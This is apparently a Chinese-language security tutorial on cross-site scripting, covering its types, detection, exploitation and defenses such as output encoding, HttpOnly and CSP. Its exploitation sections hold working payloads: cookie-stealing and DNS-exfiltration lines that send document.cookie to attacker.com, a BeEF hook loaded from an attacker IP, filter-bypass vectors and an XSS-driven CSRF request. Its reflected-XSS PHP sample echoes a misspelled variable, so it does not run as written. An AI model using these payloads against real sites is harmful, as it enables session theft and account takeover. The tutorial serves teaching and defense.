浅谈XSS
字数 1827 2025-08-05 19:10:09
XSS漏洞全面解析与防御指南
一、XSS基础概念
1.1 XSS定义
跨站脚本攻击(Cross Site Scripting,简称XSS)是一种前端漏洞,攻击者在网页中嵌入客户端脚本(主要是JavaScript),当用户浏览被植入恶意代码的网页时,恶意代码将在用户浏览器上执行。
1.2 XSS危害
- 盗取用户cookie和会话信息
- 进行钓鱼攻击
- 流量劫持
- 配合其他漏洞进行组合攻击(如网页木马)
- 获取后台管理员权限
二、XSS类型详解
2.1 反射型XSS(非持续型)
特点:
- 非持久化攻击
- 需要用户点击构造的特殊链接才能触发
- 不会存储到数据库中
- 常见于搜索、查询类页面
利用过程:
- 攻击者构造包含恶意脚本的URL
- 诱骗用户点击该URL
- 服务器返回包含恶意脚本的页面
- 用户浏览器执行恶意脚本
示例:
<?php
$xss = $_GET['x'];
echo $ss;
// 访问: 127.0.0.1/test/xss.php?x=<script>alert(1)</script>
2.2 存储型XSS(持续型)
特点:
- 持久化攻击
- 恶意代码存储在服务器数据库中
- 所有访问受影响页面的用户都会受到攻击
- 常见于留言板、评论区、用户资料等位置
利用过程:
- 攻击者将恶意代码提交到网站(如留言)
- 恶意代码被存储到数据库
- 其他用户访问受影响页面
- 恶意代码自动执行
2.3 DOM型XSS
特点:
- 完全在客户端执行,不与服务器交互
- 基于JavaScript对DOM的操作
- 难以被传统防护手段检测
示例代码:
<script>
var temp = document.URL;
var index = document.URL.indexOf("content=")+4;
var par = temp.substring(index);
document.write(decodeURI(par));
</script>
访问:网址?content=<script>alert(/xss/)</script>
三、XSS漏洞挖掘技术
3.1 手工检测方法
- 输入测试字符:
<,>,",',(),&等 - 查看HTML源码,确认特殊字符是否被转义
- 使用
AAAA<>'''&等易识别字符串辅助定位 - 对于不可见输出位置,尝试输入
"/>XSS Test
3.2 自动化工具
- AWVS
- AppScan
- XSSER
- XSSF
3.3 特殊技巧
伪造HTTP头XSS:
- 使用Firefox插件(X-Forwarded-For Header或Modify Headers)
- 伪造
X-Forwarded-For或Client-IP头为XSS代码 - 针对使用特定函数(
X_FORWARDED_FOR或HTTP_CLIENT_IP)获取IP的网站
四、XSS利用技术详解
4.1 基本利用方式
- 盗取Cookie:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
- 钓鱼攻击:
window.location.href = "http://fake.site/login.php";
- BeEF框架利用:
<script src="http://攻击者IP:3000/hook.js"></script>
4.2 绕过过滤技巧
- 大小写绕过:
<ScRiPt>alert(1)</sCrIpT>
- 使用HTML标签属性:
<svg onload=alert(1)>
- 编码绕过:
<iframe srcdoc="<script>alert(1)</script>">
- 伪协议利用:
<a href="javascript:alert(1)">click</a>
- Base64编码:
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
五、XSS防御方案
5.1 输入输出过滤
- PHP过滤函数:
htmlentities($input, ENT_QUOTES);
htmlspecialchars($input, ENT_QUOTES);
- 过滤特殊字符:
&→&"→"'→'<→<>→>
5.2 HttpOnly属性
- 设置Cookie的HttpOnly属性防止JavaScript访问
- 示例(ASP.NET):
Set-Cookie: ASP.NET_SessionId=...; HttpOnly
5.3 内容安全策略(CSP)
通过HTTP头定义允许加载的资源:
Content-Security-Policy: default-src 'self'
5.4 其他防御措施
- 输入长度限制
- 白名单过滤
- 使用安全的DOM API替代innerHTML等危险方法
- 对动态生成的JavaScript代码进行编码
六、XSS测试与验证工具
6.1 XSS平台
- XSS Platform (https://xss.pt/)
- 自建平台(BlueLotus_XSSReceiver)
6.2 BeEF框架
- 启动:
beef-xss
- 使用hook:
<script src="http://IP:3000/hook.js"></script>
- 功能模块:
- 获取Cookie
- 重定向
- 键盘记录
- 社会工程攻击等
七、高级利用场景
7.1 XSS盲打
- 攻击后台管理界面
- 需要管理员查看才会触发
- 常用于留言板、工单系统等
7.2 配合CSRF
var xhr = new XMLHttpRequest();
xhr.open("POST", "/admin/delete.php", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("id=1");
7.3 DNSlog回显
- 用于无回显的XSS场景
- 通过DNS请求外带数据
- 示例:
var img = new Image();
img.src = "http://" + document.cookie + ".attacker.com";
八、总结与最佳实践
8.1 开发建议
- 对所有不可信数据进行严格的输出编码
- 使用安全的API处理用户输入
- 实施内容安全策略(CSP)
- 为所有Cookie设置HttpOnly和Secure标志
8.2 测试流程
- 识别所有用户输入点
- 测试基本XSS向量(
<script>alert(1)</script>) - 尝试绕过过滤
- 验证输出上下文(HTML/JS/URL等)
- 检查防护措施是否全面
通过全面理解XSS漏洞的原理、利用方式和防御措施,开发人员可以构建更安全的Web应用,安全人员也能更有效地发现和修复XSS漏洞。